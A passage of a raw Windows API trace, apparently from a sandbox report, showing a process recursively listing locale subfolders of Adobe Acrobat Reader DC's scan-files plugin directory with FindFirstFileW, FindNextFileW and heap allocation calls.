cAlternateFileName="SCANAP~1.PNG")) returned 0 [0261.420] FindClose (in: hFindFile=0x33e47e8 | out: hFindFile=0x33e47e8) returned 1 [0261.421] GetProcessHeap () returned 0xc10000 [0261.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3912880 | out: hHeap=0xc10000) returned 1 [0261.421] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeb0dbd2, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeb0dbd2, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeb0dbd2, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="themeless", cAlternateFileName="THEMEL~1")) returned 0 [0261.421] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.421] GetProcessHeap () returned 0xc10000 [0261.421] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0261.423] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5e010 | out: lpFindFileData=0x2e5e010*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0261.423] GetProcessHeap () returned 0xc10000 [0261.423] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0261.423] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\*", lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0261.426] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.426] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5dd88 | out: lpFindFileData=0x2e5dd88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 1 [0261.426] GetProcessHeap () returned 0xc10000 [0261.426] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3912880 [0261.428] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\*", lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48e8 [0261.761] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.761] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar-ae", cAlternateFileName="")) returned 1 [0261.761] GetProcessHeap () returned 0xc10000 [0261.761] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\ar-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.763] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.763] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.763] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.763] GetProcessHeap () returned 0xc10000 [0261.764] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.764] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca-es", cAlternateFileName="")) returned 1 [0261.764] GetProcessHeap () returned 0xc10000 [0261.764] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.764] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\ca-es\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0261.765] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.765] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.765] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.765] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0261.766] GetProcessHeap () returned 0xc10000 [0261.766] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.766] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs-cz", cAlternateFileName="")) returned 1 [0261.766] GetProcessHeap () returned 0xc10000 [0261.766] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.766] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\cs-cz\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0261.767] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.767] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5db, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.767] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0261.767] GetProcessHeap () returned 0xc10000 [0261.768] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.768] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-dk", cAlternateFileName="")) returned 1 [0261.768] GetProcessHeap () returned 0xc10000 [0261.768] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.768] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\da-dk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4928 [0261.769] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.769] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.769] FindNextFileW (in: hFindFile=0x33e4928, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeba653f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeeba653f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeeba653f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.769] FindClose (in: hFindFile=0x33e4928 | out: hFindFile=0x33e4928) returned 1 [0261.769] GetProcessHeap () returned 0xc10000 [0261.769] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.769] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-de", cAlternateFileName="")) returned 1 [0261.770] GetProcessHeap () returned 0xc10000 [0261.770] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.770] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\de-de\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.771] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.771] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x60e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0261.771] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x60e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0261.771] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.771] GetProcessHeap () returned 0xc10000 [0261.771] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.771] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-ae", cAlternateFileName="")) returned 1 [0261.772] GetProcessHeap () returned 0xc10000 [0261.772] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\en-ae\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.772] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.772] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.772] FindClose (in: hFindFile=0x33e4ee8 | out: hFindFile=0x33e4ee8) returned 1 [0261.773] GetProcessHeap () returned 0xc10000 [0261.773] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3922888 | out: hHeap=0xc10000) returned 1 [0261.773] FindNextFileW (in: hFindFile=0x33e48e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-gb", cAlternateFileName="")) returned 1 [0261.773] GetProcessHeap () returned 0xc10000 [0261.773] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3922888 [0261.773] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\scan-files\\js\\nls\\en-gb\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0261.773] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0261.773] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeebcc791, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeebcc791, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeebcc791, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0261.773] FindClose (in: 